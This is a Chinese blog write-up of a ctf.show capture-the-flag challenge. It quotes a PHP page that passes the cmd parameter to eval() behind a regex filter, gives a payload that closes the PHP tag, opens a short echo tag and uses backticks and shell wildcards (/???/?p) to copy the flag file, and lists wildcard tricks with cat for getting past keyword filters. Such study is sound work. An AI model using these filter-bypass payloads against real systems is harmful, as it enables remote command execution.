BUGSHOW 红包题第二弹,闭合php与短标签

打开靶机,F12

 

赋值用cmd试试

 

 

 highlight_file了源码,发现把能过滤的都过滤了(P.S 有个“q”没有过滤掉)

<?php
#error_reporting(0);
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_红包题</title>
</head>
<body>
    <center>
    <h2>ctf.show_红包题</h2>
    <h4>where is the flag?</h4>
    </center>
    <!-- hint:?cmd= -->
    <?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

</body>
</html>

看了大佬的WP,就是用

?cmd=?><?=`/???/?p /???????? p.ppp`;?>

相当于

?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>

用cp命令,将flag.txt复制到p.ppp

然后访问url/p.ppp就可下载到flag了

 

-------------------------------------------分割线----------------------------------------------------

 

不过有点不明白的是 <?=`` 的作用,就额外学习一下

?>是关闭前面的php标签,<? ?>是短标签,那是怎么执行cp指令的呢?

 看了一下官方的解释,原来 `ls` 里面的是反引号,使用反引号运算符“ ` ”的效果与函数 shell_exec() 相同,

<?= ?>  等同于 <?php echo ?>

通配符在 RCE 中的利用

先说一下原理:

  • 在正则表达式中,这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。
  • 在 Shell 命令行中,? 这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。

同理,我们可以知道 * 通配符:

  • 在正则表达式中,这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。
  • 在shell命令行中,* 这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。

所以,我们利用 ? 和 * 在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤,如下实例:

假设flag在/flag中:
cat /fla?
cat /fla*
    
假设flag在/flag.txt中:
cat /fla????
cat /fla*
    
假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*
    
假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*

再研究一下正则和payload

posted @ 2021-08-12 23:18  Dixk-BXy  阅读(111)  评论(0编辑  收藏  举报
Live2D